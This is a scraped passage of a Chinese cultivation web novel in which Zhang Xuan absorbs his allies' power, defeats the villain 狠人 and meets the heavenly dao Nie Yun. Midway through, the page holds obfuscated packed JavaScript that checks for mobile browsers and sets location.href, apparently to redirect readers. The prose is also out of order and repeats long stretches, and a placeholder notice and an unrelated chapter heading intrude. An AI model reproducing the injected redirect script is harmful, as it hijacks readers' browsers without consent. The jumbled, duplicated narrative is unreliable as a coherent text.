“那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956425|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百二十一章拜访秦国公府 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 